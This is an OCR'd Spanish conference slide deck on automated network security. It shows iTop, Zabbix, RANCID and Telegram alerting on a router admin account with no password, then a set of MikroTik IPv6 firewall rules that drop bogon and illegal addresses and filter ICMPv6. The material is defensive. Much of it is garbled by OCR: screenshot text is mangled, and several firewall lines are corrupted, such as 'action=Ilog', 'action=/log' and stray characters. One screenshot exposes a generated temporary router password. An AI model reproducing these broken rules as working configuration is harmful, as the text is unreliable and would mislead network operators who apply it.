recientes y motivacion para reflejar la
seguridad;

Seguridad orientada por capas (fisica,
enlace, IP, enrutamiento y servicios);

Introduccion, incidentes importantes /

Seguridad orientada por niveles de red /
(borde, transito y acceso);

Gestion de seguridad a gran escala y de

forma automatizada;
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L\md bl'ClSIl Herramientas para
e monitoreo y control de

la red

QO

Telegram
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L\m(j brqs|| Herramientas para

monitoreo y control de
ITOp

la red
iTop es un software libre para la gestion de hardware,
software y servicios asociados que permite la
centralizacion de la informacion sobre dispositivos,
software local, etc. Ayuda a HelpDesk, administra la
calidad de los servicios y la gobernanza de TI (ITSM).

Conjuntamente con las otras herramientas se utiliza en
la gestion de incidentes de seguridad de una forma
estructurada y formal.

Herramienta de codigo abierto sin licencia o limites
https://www.combodo.com/itop-193

©Copyright md brasil - direitos reservados 138



L\md bl'CISIl He_rramientas para

ZABBIX

monitoreo y control de
la red

Zabbix es un software disenado para monitoreo en tiempo
real que se puede utilizar para varias aplicaciones;

En cuanto a la seguridad, puede chequear regularmente
puertas abiertas, servicios no deseados, versiones de
firmware e incluso acciones se pueden hacer a través de
Zabbix;

Zabbix es Open Source y por lo tanto no hay costo de
licencias.
http://www.zabbix.com/
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L\md bI'CISI| Herramientas para

monitoreo y control de
la red

RANCID (Really Awesome New Cisco Config Differ) es
una herramienta libre que monitorea cambios de
configuracion de equipos, incluyendo versiones de
software y hardwre (nUmeros seriales, etc).

Utiliza CVS (Concurrent Version System), Subversion o
Git para mantener el historial de cambios.

http://www.shrubbery.net/rancid/




L\md bI'CISIl Herramientas para
B monitoreo y control de
la red

Telegram es una aplicacion de comunicacion para IOS,
Android y Desktop (Windows, MacOS vy Linux).

Telegram tiene una API abierta que permite interactuar
con otros sistemas.

También sin costo de licencias.

https://telegram.orqg/
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[(md brasil Plataforma en

TI&TELECOM

Itop Dashboard

r{md brasil

| Todas organizagies »f ¥

Bem-vindo ao iTop

Gerenciamento
Configuracoes

Service Desk

' VisEo global

¥ Mova solicitacho de usuario

' Ordens de servico atrilundas a
mim

¥ Busce de solicitacoes de
UsUanos

v s atalho

* Pedidos atribundos a mim
¥ Minha fila - Aguardando
atendimento
¥ Minha fila - Chamados em
aberto
" Requisicoes prioritarias
b Tewdas A% rooulsiefes abertas =
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accion

D © S 0.
Painel para Gerenciamento Solicitagao
Last 14 days request per type .00 @St 14 days number of requests
90 4
m.
704
. 504
504
404
301
20+
104
U-
A HAaFRER RS SnTaEe s
2B EEEEEE
223833332 3553533
rEEEEEEE.
Open requests by status Open requests by agent
Total: 12128 objetos Total: 359 objetos
Status +* Nimero = Agente = Nimero =
Cancelado L hderinido « 100
Fachato v 11762 ¥ o 3 i i : v 27
Aberto v 13 v v 33
Incidente eam atendimsnto . LIy -
Vinculado v 40 i8 -
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«md brasil Plataforma en
L\ TITELECOM accién

Configuracion de Zabbix
PANZIEIEY  Monitoring  Inventory  Reports  Configurstion  Administration d Hotae ? 0 0&

Details Trigger updated
Tﬁg QEI'S Group | Ternplates Producan ¥ Host | templaledesie-admin-ROS L Craale trigger
All templates | ismrplate-teste-admin-ROS  Applicabons & llems 4 nggers Graphs Screens  Discovery ules  \Web scenanios
Filter &

SEverity u Mof chassifiad ninTmation WEming Avaraga High Dizaater

Slata u Horma Urikncos

1Y kgt i (lamnpl e testa- admil

I.-l;-!l.lm

O} st *Permission denssd, please fry again.®jpos1

Como ejemplo seleccionamos 2 eventos - Firmware upgrade
(Severidad Alta) y equipo con user = admin, sin contrasefa
(Severidad Desastre)
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«md brasil Plataforma en
L\ TI&TELECOM aCCiO’n

QLHePE® %@ T D .al 19%821:53

4 iris
é ﬁ? bot

Telegram

Una notificacion se envia a un
grupo de técnicos responsables por
la seguridad

Desastre: Usudrio admin sem senha Zabb|X automét|camente crea y
encontrado em RT_323_02 . ~ .
- — configura una contrasefna aleatorial!

Desastre: Cadastrada senha
temporaria (xt@r65334&) em
RT_323 02 5

&/ &
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TI&TELECOM

Plataforma en

accion

o Solicitacbes de Usuarios: -014519 &

Propriedade ICs (1) Contatos Lista de Atividades

Tickets vinculados no atendimento

Tickets vincul

Ordens de servigo Solugoes Utilizadas Anexos Motificacao (3)

Erros conhecidos

Solugdes conhecids

Informagdes basicas m

Solicitante + Suporie T| Tipo de Selicitagio Feoquisicao de servico
Organizacio ' Geréncia de Tecnoiogia da Impacto Baixa
Informacéo

Urgéncia /Al
Status Aguardando Atendimento

origem Monitoramenio
Titulo User Admin no pass Active

Dascriclo Admin user with no password
- active. Equipe

Familia do servigo © Fedes

» Manutengio

Inicladoe 2017-03-07 21:19:42

Sarvigo + Manutencio TTO Tempo
Limite

Subcateooria do  _
sstimulus Bstimulus=ev_assigniclass=UserRequest&id=14519 & c[menu]=UserRequesta:3A0ve rview

Ticket \rlm:u1

Recategorizar

Cancelar Chamado

E-Mall
Exportar C5V

Excel Expori...

Imprimir versao Amigdwvel

atend

Solugio definitiva indefinido

Tempo da solucdo (s

SLA TTO(Aguardando atribuicio) , _

vencida

SLA TTO excedido 0=

SLA TTR{Aguardando resolucdo)

MED
vencida

SLA TTR excedido 0=

ITOP registra el evento y notifica el back office. Se

genera un ticket de servicio.
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{<mdbrasi ot e

Atribuir - R-014519

Agente - selecione um — A ! ]
— salecions um —

TS s

Snts

s Eero

-]

= Tipo de Solicitagio FRequisicao de servico Ticket vinculado no

atenaimento 77750
[ Wosioy zane : Impacte "o
-
Status Aguardando Atendimento Ehobcagats Paal N
Origem Monitoramento FAIORORG0: e Solugio definitiva no=finido l ‘
Titule User Admin no pass Active Tempo da solugio 0: \-l
o Ad r with d activ
Descrics min user with no password active uwalY Norieihoas m Aguarde'
-
SLA TTO(Aguardando atribuicio)
vencida
Familla do servigo + Redes
Iniciado 2017-03-07 21:19:42 SLA TTO excedido 0:
+ Manutencao
Suriiec ? TTO Tempo Limite SLA TTR(Aguardando resolugio) .
vencida
snncaug::isﬂa o Tasto iy
? = SLA TTR excedido 0:
Contrato do cliente ' C0ntrato Servicos Pendéncla Decorndo Nao
Preventivas acumulada iniciado
Ttem funcional
indennido uitima
principal Atualizaggo "

Propriedade I ICs (1) { Contatos I Lista de Atividades l Tickets vinculados no atendimento l Tickets vinculados na solugio

Ordens de servico l Selugdes Utilizadas I Anexos I Notificacdo (6) l Erros conhecidos [ Solugdes conhecidas l Histérico

@ El Back office encamina el

Solicitante + Suporte Ti Tipo de Solicitagio Aaquisico de servico Ticket vinculado no Ingefinido
atendimento

- ’ = =
Organizagio -Gﬁaé:c;.:aerxr\orog\aaa Impacto Eaix t k t I t p p d
— g = ICKET al teCnIiCOo apropliado

o e o que recibe la notificacion

’ -
Adimin user with no password + Wasley Zonellg
it T = via email y Telegram y
SLA TTO(Aguardando atribuigio) ,
= L

e 7573115 T tiene un tiempo para

Orlgem Monitoramento

Servigo + Manutengio mﬂ'l"“"" 2017-03-07 21:33:41 SEA FERCAguardmnc "’::"‘:":: NEo
e -
Subcatagoriado | o ontiva Data de SLA TTR excedido 0=
JEEP— solucionar el problema
+ Contrato Servi
Contrata do cwanta: © Conliato Services 170 Tempo
Limite
Ttem tuncional .
principal i, TTR Tempo
Limite
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«md brCISIl Plataforma en
L\ e accion

Resolver - 1-014519

Solucdo

usuario e senha configurados
no equipamento e no sistema

A
E uma soluclo de contorno? | Nao
Solucho seleclonada | -- selecione um — ¥
Cancalar Resolver
) o
Solicitante - Suporte T Tipo de Sollcitagio Fequisican de servigo Ticket vinculado no ..
atendimento i
Organizaglio * Geréncia de Tecnologla da Impacto Balxs
e

i SLLLLL L=
Status RequisicBo de servigo er Urgéncia /o Resolugio

Brinridnda WAids

El técnico responsable soluciona el problema e informa al
iTOP, cerrando el ticket.
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«md brasil Plataforma en
L\ TITELECOM aCCién

Muchas acciones se pueden realizar
automaticamente como restablecer un equipo
blogueado por ejemplo

Un punto de acceso esta
presentando problemas;

@ Setorial AP_326_400_S: PROBLEM !

Iniciando auto-recuperacao Setorial AP-326-400-5

Reboot automatico via

Desligando a energia do AP-326-400-5

=T Bt —— RB 750UP;
| . Ligando a energia do AP-326-400-5 ;
L ST R T S ] ‘ i
E;} ISr;iorralAP 326_400_S: OK B8 _ ‘ : Punto de acceso ahora
5 e i — ) 08 R -::f H ' OKI
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[(md hrgmsoi! PIathcz: Ii‘g1na en

Cadastros solamente en iTOP

D © L0,
r<md brasil -
L\ TI & TELECOM Painel para Gerenciamento Solicitagao

| Todas ﬂfganiza'?ﬁﬁ = | Last 14 days request per type .o @St 14 days number of requests

= x
304
30.
Bem-vindo ao iTop 707
. 1 504
Gerenciamento 504
Configuracies 40+
301
Service Desk 204
104 |
' VisEo global o+
*  MNova solicitacao de usuaro =~ HAE AR ESR- 222288k
' Ordens de servico atribuidas a S EEEER qb EEEEEFSE
mim J5iiEElIg Al
* Busca de solicitacoes de S S -
usuanos
b ke g T
¥ Patides kit bidon a ok Open requests by status Open requests by agent
¥ Minha fila - Aguardando
atendimento ; . "
Tokal: 12138 objebos Totsl: 353 objstos
* Minha fila - Chamados em - : - - I
aberto
' Requisicies prioritarias Status *= Mlrmero = Agente +* NiOmero %
b Toedas A reouisicfes abetas = Cancelado Fo thderinida v 100
Fachato v 11762 ¥ o 3 i i : v 27
Aberto v 13 r v 33
Incidente em atendimento v 76
Vinculado v 40 28 -

©Copyright md brasil - direitos reservados 149



' {md brasil

Pausa para una
pequena demostracion

https://t.me/jarvismd bot




L {md brasil Agenda

recientes y motivacion para reflejar la
seguridad;

Seguridad orientada por capas (fisica, /

Introduccion, incidentes importantes /

enlace, IP, enrutamiento y servicios);

Seguridad orientada por niveles de red /
(borde, transito y acceso);

Gestion de seguridad a gran escala y de /
forma automatizada;
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L\md bl'CISI' Firewall Rules

Forward Channel
/ipv6 firewall filter

add action=accept chain=forward comment="Transparent mode"
disabled=yes

add action=accept chain=forward comment="Accept IPSec-esp"
protocol=ipsec-esp

add action=accept chain=forward comment="Accept IPsec-ah"
protocol=ipsec-ah

add action=accept chain=forward comment="Accept connections
originated inside the network" connection-state=new out-
interface=pppoe-outl
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L\md bl'CISI' Firewall Rules

Forward Channel
/ipv6 firewall filter

add action=accept chain=forward comment="Accept established
connections" connection-state=established

add action=accept chain=forward comment="Accept related
connections"™ connection-state=related

add action=accept chain=forward comment="Accept TCP connections
to port 500" dst-port=500 protocol=tcp

add action=accept chain=forward comment="Accept TCP connections
from port 500" protocol=tcp src-port=500

add action=drop chain=forward comment="Drop all the rest"



L\md bl'CISI' Firewall Rules

Input Channel
/ipv6 firewall filter

add action=drop chain=forward comment="Drop all the rest"
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L\md bl'CISI' Firewall Rules

/ipv6 firewall filter
add action=drop chain=Multicast_Filters comment="Deny deprecated by
RFC 3879" disabled=no dst-address=fec0::/10

add action=drop chain=Multicast_Filters comment="Deny deprecated by
RFC 3879" disabled=no src-address=fec0::/10

add action=accept chain=Multicast_Filters comment="Allow Link-Local
Scope" disabled=no dst-address=ff02::/16

add action=accept chain=Multicast_Filters comment="Allow Link-Local
Scope" disabled=no src-address=ff02::/16

add action=drop chain=Multicast_Filters comment="Deny other
Multicasts" disabled=no dst-address=ff00::/8

add action=drop chain=Multicast_Filters comment="Deny other Multicasts"
disabled=no src-address=ff00::/8
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L\md bl'CISI' Firewall Rules

/ipv6 firewall filter

add action=jump chain=forward comment="Jump to ICMPv6 Common"
disabled=no jump-target=ICMPv6_Common protocol=icmpv6

add action=jump chain=forward comment="Jump to Multicast Control"
disabled=no jump-target=Multicast_Filters

add action=accept chain=ICMPv6_Input comment="Accept Neighbor
Solicitation (135) with hop limit == 255" disabled=no hop-
limit=equal:255 icmp-options=135:0-255 protocol=icmpv6

add action=accept chain=ICMPv6_Input comment="Accept Neighbor

Advertisement (136) with hop limit == 255" disabled=no hop-
limit=equal:255 icmp-options=136:0-255 protocol=icmpv6
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L\md bl'CISI' Firewall Rules

/ipv6 firewall filter

add action=accept chain=ICMPv6_Common comment="Accept
Destination Unreachablet (type 1)" disabled=no icmp-options=1:0-255
protocol=icmpv6

add action=accept chain=ICMPv6_Common comment="Accept Packet
too big (type 2)" disabled=no icmp-options=2:0-255 protocol=icmpv6

add action=accept chain=ICMPv6_Common comment="Accept Time
exceeded (type 3, code 0)" disabled=no icmp-options=3:0
protocol=icmpv6

add action=accept chain=ICMPv6_Common comment="Accept

Parameter problem (type 4, code 1)" disabled=no icmp-options=4:1
protocol=icmpv6
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L\md bl'CISI' Firewall Rules

/ipv6 firewall filter

add action=accept chain=ICMPv6_Common comment="Accept

Parameter problem (type 4, code 2)" disabled=no icmp-options=4:2
protocol=icmpv6

add action=accept chain=ICMPv6_Common comment="Accept Echo
request (type 128)" disabled=no icmp-options=128:0-255
protocol=icmpv6

add action=accept chain=ICMPv6_Common comment="Accept Echo
reply (type 129)" disabled=no icmp-options=129:0-255 protocol=icmpv6

add action=jump chain=input comment="Jump to ICMPv6_Input"
disabled=no jump-target=ICMPv6_Input protocol=icmpv6
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L\md bl'CISI' Firewall Rules

/ipv6 firewall filter

add action=jump chain=input comment="Jump to ICMPv6_Input"
disabled=no jump-target=ICMPv6_Input protocol=icmpv6é

add action=jump chain=input comment="Jump to ICMPv6_Common"
disabled=no jump-target=ICMPv6_Common protocol=icmpv6

add action=Ilog chain=input comment="Log remaining ICMPv6"
disabled=no log-prefix=Input-remaining protocol=icmpv6é
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L\md bl'CISI' Firewall Rules

/ipv6 firewall filter

add action=drop chain="Illegal Addresses" comment=\

"Drop our own prefix as source addres if coming from outside"
disabled=no \

in-interface=etherl src-address=2001:db8::/32
add action=drop chain="Illegal Addresses" comment=\

"Bogons prefixes based on address list created from cymru BGP
session” \

disabled=no src-address-list=IPv6-bogons

add action=drop chain="Illegal Addresses" comment="Loopback
Address” \

disabled=no src-address=::1/128

add action=drop chain="Illegal Addresses"” comment="IPv4 Compatible
addresses” \

disabled=no src-address=::/96
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L\md bl'CISI' Firewall Rules

/ipv6 firewall filter

add action=drop chain="Illegal Addresses" comment=\
"Other Compatible Addresses" disabled=no src-

address=::224.0.0.0/100

add action=drop chain="Illegal Addresses" disabled=no src-address=\
::127.0.0.0/104

add action=drop chain="Illegal Addresses" disabled=no src-

address=::/104

add action=drop chain="Illegal Addresses" disabled=no src-address=\
::255.0.0.0/104
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L\md bl'CISI' Firewall Rules

/ipv6 firewall filter

add action=drop chain="Illegal Addresses" comment="False 6to4
packets"” \

disabled=no src-address=2002:e000::20/128

add action=drop chain="Illegal Addresses" disabled=no src-address=\
2002:7f00::/24

add action=drop chain="Illegal Addresses" disabled=no src-
address=2002::/24

add action=drop chain="Illegal Addresses" disabled=no src-address=\
2002:ff00::/24
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L\md bl'CISI' Firewall Rules

/ipv6 firewall filter

add action=drop chain="Illegal Addresses" disabled=no src-address=\
2002:a00::/24

add action=drop chain="Illegal Addresses" disabled=no src-address=\
2002:ac10::/28

add action=drop chain="Illegal Addresses" disabled=no src-address=\
2002:c0a8::/32

add action=drop chain="Illegal Addresses" comment="Link Local
Addresses” \

disabled=no src-address=fe80::/10
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L\md bl'CISI' Firewall Rules

/ipv6 firewall filter

add action=drop chain="Illegal Addresses" comment=\

"Site Local Addresses (dprecated)" disabled=no src-address=fec0::/10

add action=drop chain="Illegal Addresses" comment="Unique-local
packets"” \

disabled=no src-address=fc00::/7
add action=drop chain="Illegal Addresses" comment=\
"Multicast Packets (as a source address)" disabled=no src-address=\
ff00::/8
add action=drop chain="Illegal Addresses" comment="Docummentation
Adresses” \

disabled=no src-address=2001:db8::/32
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/ipv6 firewall filter

add action=drop chain="Illegal Addresses" comment=\

"6bone Addresses (deprecated)"” disabled=no src-address=3ffe::/16
add action=jump chain=forward comment=\

"Jump to Bogons and Illegal Addresses blocking" disabled=no jump-
target=\

"Illegal Addresses”
add action=jump chain=input comment=\

"Jump to Bogons and Illegal Addresses blocking" disabled=no jump-
target=\

"Illegal Addresses”
add action=/log chain=ICMPv6_Common comment=\

"Log and drop other ICMPv6 packets” disabled=no log-prefix=
protocol=\

icmpv6é

mnn
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L\md bl'CISI' Firewall Rules

/ipv6 firewall filter

add action=/log chain=ICMPv6_Common comment=\

"Log and drop other ICMPv6 packets” disabled=no log-prefix=
protocol=\

icmpv6é

mnn
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Preguntas?
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iMuchas Gracias!

Nos Vemos en Punta
Cana en LACNIC 31

maia@madbrasil.com.br




